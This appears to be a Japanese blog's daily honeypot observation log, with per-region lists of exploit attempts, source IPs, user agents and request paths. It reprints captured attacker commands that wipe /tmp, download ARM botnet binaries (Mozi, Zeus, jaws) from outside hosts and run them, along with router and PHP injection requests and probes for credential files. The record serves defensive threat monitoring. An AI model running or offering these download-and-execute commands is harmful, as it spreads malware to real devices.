2022/02/27 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/02/27分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
.jsへのスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
/.awsへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://2.56.57.7/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  209.141.33.208/bins/Zeus.arm;
chmod 777 /tmp/Zeus.arm;
sh /tmp/Zeus.arm

Location:UK

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://2.56.57.7/.s4y/arm;
sh /tmp/arm

Location:SG

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
45.131.66.238に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  212.192.216.46/bins/arm;
chmod 777 /tmp/arm;
sh /tmp/arm selfrep.jaws

cd /tmp;
rm -rf *;
wget  http://2.56.57.7/.s4y/arm;
sh /tmp/arm

他

アクセス数推移

JP：総アクセス数：128 (前日比：-277)
US：総アクセス数：120 (前日比：-39)
UK：総アクセス数：44 (前日比：-271)
SG：総アクセス数：57 (前日比：-320)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
40	3.236.168.234	United States
9	3.238.134.16	United States
1	20.122.177.98	United States
1	20.124.31.135	United States
2	23.95.100.141	United States
2	31.210.20.234	Netherlands
1	35.247.116.70	United States
1	39.81.100.169	China
4	45.79.18.67	United States
1	45.95.169.230	Croatia
1	45.232.154.170	Argentina
1	58.253.147.108	China
1	60.190.214.70	China
1	74.208.37.157	United States
1	101.36.107.222	Hong Kong
1	103.66.208.123	India
1	109.237.103.9	Russia
1	109.237.103.118	Russia
1	109.237.103.123	Russia
1	115.56.190.233	China
1	120.85.119.197	China
1	128.199.18.204	United Kingdom
8	135.125.244.48	France
8	135.125.246.110	France
1	142.93.131.59	United States
1	143.198.235.58	United States
2	157.245.70.127	United States
10	159.223.38.200	United States
1	159.223.130.128	United States
1	159.223.139.250	United States
1	172.104.138.223	United States
1	176.97.210.170	Germany
1	183.136.225.9	China
1	185.220.101.181	Germany
7	185.254.196.217	Ukraine
1	185.254.196.218	Ukraine
1	194.233.167.145	United States
1	198.98.49.13	United States
2	198.98.54.150	United States
1	205.185.123.62	United States
1	205.185.125.167	United States
1	205.185.127.43	United States
1	209.141.52.239	United States
1	209.141.61.19	United States
1	209.141.62.127	United States

UserAgent一覧

件数	UserAgent
16	`-`
2	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 7.0; TRT-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.64 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10`
19	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
4	`python-requests/2.18.4`
1	`python-requests/2.26.0`
1	`python-requests/2.9.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01D\x01`
2		`\x16\x03\x01\x01\xfa\x01`
2	GET	`/.aws/credentials`	HTTP/1.1
2	GET	`/.env.bak`	HTTP/1.1
34	GET	`/.env`	HTTP/1.1
5	GET	`/.git/config`	HTTP/1.1
1	GET	`/25rfp`	HTTP/1.1
2	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
2	GET	`/aws.yml`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/cli/.env`	HTTP/1.1
2	GET	`/config.js`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
2	GET	`/config/aws.yml`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
2	GET	`/info.php`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/onebets/appYabo.json`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
2	GET	`/phpinfo.php`	HTTP/1.1
2	GET	`/phpinfo`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//58[.]253[.]147[.]108:55591/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//2[.]56[.]57[.]7/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/static/js/main.feeec2eb.js`	HTTP/1.1
1	GET	`/storage/app/2022/0122/22000727qton.png`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
2	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
2	HEAD	`/`	HTTP/1.0
2	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.183.95.26	Germany
1	20.122.177.98	United States
2	23.95.100.141	United States
1	31.210.20.234	Netherlands
1	34.96.130.3	United States
1	35.88.249.99	United States
1	45.61.187.12	United States
1	45.61.188.162	United States
1	45.83.67.112	Germany
8	45.146.165.37	Russia
12	51.79.29.48	Canada
53	109.74.204.123	United States
1	109.237.103.9	Russia
1	109.237.103.123	Russia
1	120.85.112.139	China
1	125.44.26.41	China
1	128.199.245.51	United Kingdom
1	139.162.145.250	Netherlands
1	159.223.139.250	United States
1	162.142.125.221	United States
1	164.68.121.195	Germany
4	185.142.236.43	Seychelles
5	192.154.241.15	United States
1	194.31.98.144	Netherlands
1	198.98.62.223	United States
1	205.185.123.62	United States
4	205.185.125.167	United States
1	209.17.96.42	United States
1	209.17.97.74	United States
2	209.141.35.105	United States
1	209.141.52.239	United States
3	209.141.61.40	United States
3	209.141.62.127	United States
1	216.176.140.151	United States

UserAgent一覧

件数	UserAgent
27	`-`
1	`Hello, World`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; Android 6.0; ALE-L23) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 7.1; vivo 1716 Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53`
1	`Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4`
52	`curl/7.54.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01\xfb\x01`
1		`\x16\x03\x01\x02`
4		`\x16\x03\x01`
22	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/25rfp`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
1	GET	`/admin.jsp`	HTTP/1.1
1	GET	`/admin.pl`	HTTP/1.1
1	GET	`/admin.shtml`	HTTP/1.1
1	GET	`/base.html`	HTTP/1.1
1	GET	`/base.shtml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/default.cfm`	HTTP/1.1
1	GET	`/default.jhtml`	HTTP/1.1
1	GET	`/default.jsa`	HTTP/1.1
1	GET	`/default.pl`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hUTK`	HTTP/1.1
1	GET	`/home.asp`	HTTP/1.1
1	GET	`/home.jsp`	HTTP/1.1
1	GET	`/home.php`	HTTP/1.1
1	GET	`/index.aspx`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/indice.aspx`	HTTP/1.1
1	GET	`/indice.jhtml`	HTTP/1.1
1	GET	`/indice.jsp`	HTTP/1.1
1	GET	`/indice.pl`	HTTP/1.1
1	GET	`/indice.shtml`	HTTP/1.1
1	GET	`/inicio.aspx`	HTTP/1.1
1	GET	`/inicio.cfm`	HTTP/1.1
1	GET	`/inicio.jsp`	HTTP/1.1
1	GET	`/inicio.pl`	HTTP/1.1
1	GET	`/localstart.aspx`	HTTP/1.1
1	GET	`/localstart.cgi`	HTTP/1.1
1	GET	`/localstart.html`	HTTP/1.1
1	GET	`/localstart.jsp`	HTTP/1.1
1	GET	`/main.jsa`	HTTP/1.1
1	GET	`/main.pl`	HTTP/1.1
1	GET	`/menu.cfm`	HTTP/1.1
1	GET	`/menu.php`	HTTP/1.1
1	GET	`/nmaplowercheck1645839723`	HTTP/1.1
1	GET	`/onebets/appYabo.json`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/readme.txt`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 209.141.33.208/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm`
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/start.cfm`	HTTP/1.1
1	GET	`/start.shtml`	HTTP/1.1
1	GET	`/static/js/main.feeec2eb.js`	HTTP/1.1
1	GET	`/storage/app/2022/0122/22000727qton.png`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
9	GET	`http[:]//34[.]68[.]118[.]83:80/mysql/scripts/setup.php`	HTTP/1.0
4	GET	`http[:]//34[.]68[.]118[.]83:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
2	HEAD	`/`	HTTP/1.0
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/apisix/batch-requests`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	23.95.100.141	United States
1	31.210.20.234	Netherlands
1	35.247.116.70	United States
1	39.109.126.236	Hong Kong
1	45.61.187.12	United States
7	45.146.165.37	Russia
1	66.45.254.27	United States
1	67.133.72.154	United States
4	71.6.146.185	United States
1	77.81.180.94	Romania
1	89.250.220.80	Russia
1	103.28.70.140	United States
1	109.237.103.123	Russia
1	125.41.130.78	China
1	139.162.145.250	Netherlands
1	162.142.125.210	United States
1	167.94.138.118	United States
3	185.198.56.183	United Arab Emirates
1	194.31.98.144	Netherlands
1	198.98.49.13	United States
1	205.185.123.62	United States
1	205.185.125.167	United States
4	205.185.127.43	United States
1	209.17.97.50	United States
1	209.141.41.69	United States
1	209.141.52.239	United States
1	209.141.61.19	United States
1	209.141.61.40	United States
1	220.134.177.250	Taiwan

UserAgent一覧

件数	UserAgent
21	`-`
2	`Go-http-client/1.1`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; Android 6.0; MYA-L03 Build/HUAWEIMYA-L03; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/193.0.0.45.101;]`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6`
4	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Chrome/9.1.0.0 Safari/540.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E277 Safari/602.1`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`\x16\x03\x01`
2	CONNECT	`opendata[.]baidu[.]com:443`	HTTP/1.1
4	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/25rfp`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/onebets/appYabo.json`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//2[.]56[.]57[.]7/.s4y/arm;sh+/tmp/arm`
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/static/js/main.feeec2eb.js`	HTTP/1.1
1	GET	`/storage/app/2022/0122/22000727qton.png`	HTTP/1.1
7	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//opendata[.]baidu[.]com/api.php?query=132.145.66.34&co=&resource_id=69929&oe=utf8`	HTTP/1.1
2	HEAD	`/`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.17.224.132	United States
2	20.188.24.63	United States
2	23.95.100.141	United States
1	31.44.0.18	Netherlands
2	31.210.20.234	Netherlands
1	34.96.130.15	United States
1	45.57.161.55	Canada
1	45.61.188.162	United States
1	45.83.65.135	Germany
1	45.87.61.162	United States
6	45.146.165.37	Russia
5	51.79.29.48	Canada
1	62.171.149.200	Germany
1	66.45.254.27	United States
1	89.203.249.109	Czechia
1	103.242.186.49	India
1	107.189.30.11	United States
1	109.237.103.9	Russia
1	109.237.103.123	Russia
1	137.184.126.12	United States
1	139.59.94.214	Singapore
1	159.223.130.128	United States
1	159.223.139.250	United States
1	161.35.186.131	United States
1	162.142.125.9	United States
1	162.142.125.221	United States
1	164.92.206.212	United States
1	167.94.138.45	United States
1	167.248.133.47	United States
1	172.105.89.161	United States
1	182.126.255.87	China
1	190.213.155.143	Trinidad and Tobago
1	191.96.206.44	Chile
1	194.31.98.144	Netherlands
1	198.98.49.13	United States
1	198.98.54.150	United States
1	205.185.127.43	United States
1	209.17.97.90	United States
1	209.141.35.105	United States
2	209.141.61.19	United States
3	209.141.61.40	United States
1	211.109.56.18	South Korea

UserAgent一覧

件数	UserAgent
21	`-`
1	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.1.4322)`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15`
1	`Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.44`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
16	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01\xfb\x01`
2		`\x16\x03\x01`
1	CONNECT	`45[.]131[.]66[.]238:4444`	HTTP/1.1
16	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/25rfp`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
3	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/info`	HTTP/1.1
1	GET	`/onebets/appYabo.json`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 212.192.216.46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep[.]jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//2[.]56[.]57[.]7/.s4y/arm;sh+/tmp/arm`
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/static/js/main.feeec2eb.js`	HTTP/1.1
1	GET	`/storage/app/2022/0122/22000727qton.png`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/version`	HTTP/1.1
6	GET	`http[:]//13[.]67[.]44[.]234:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//13[.]67[.]44[.]234:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
2	HEAD	`/`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/cgi-bin/index2.asp`	HTTP/1.1
4	PRI	`*`	HTTP/2.0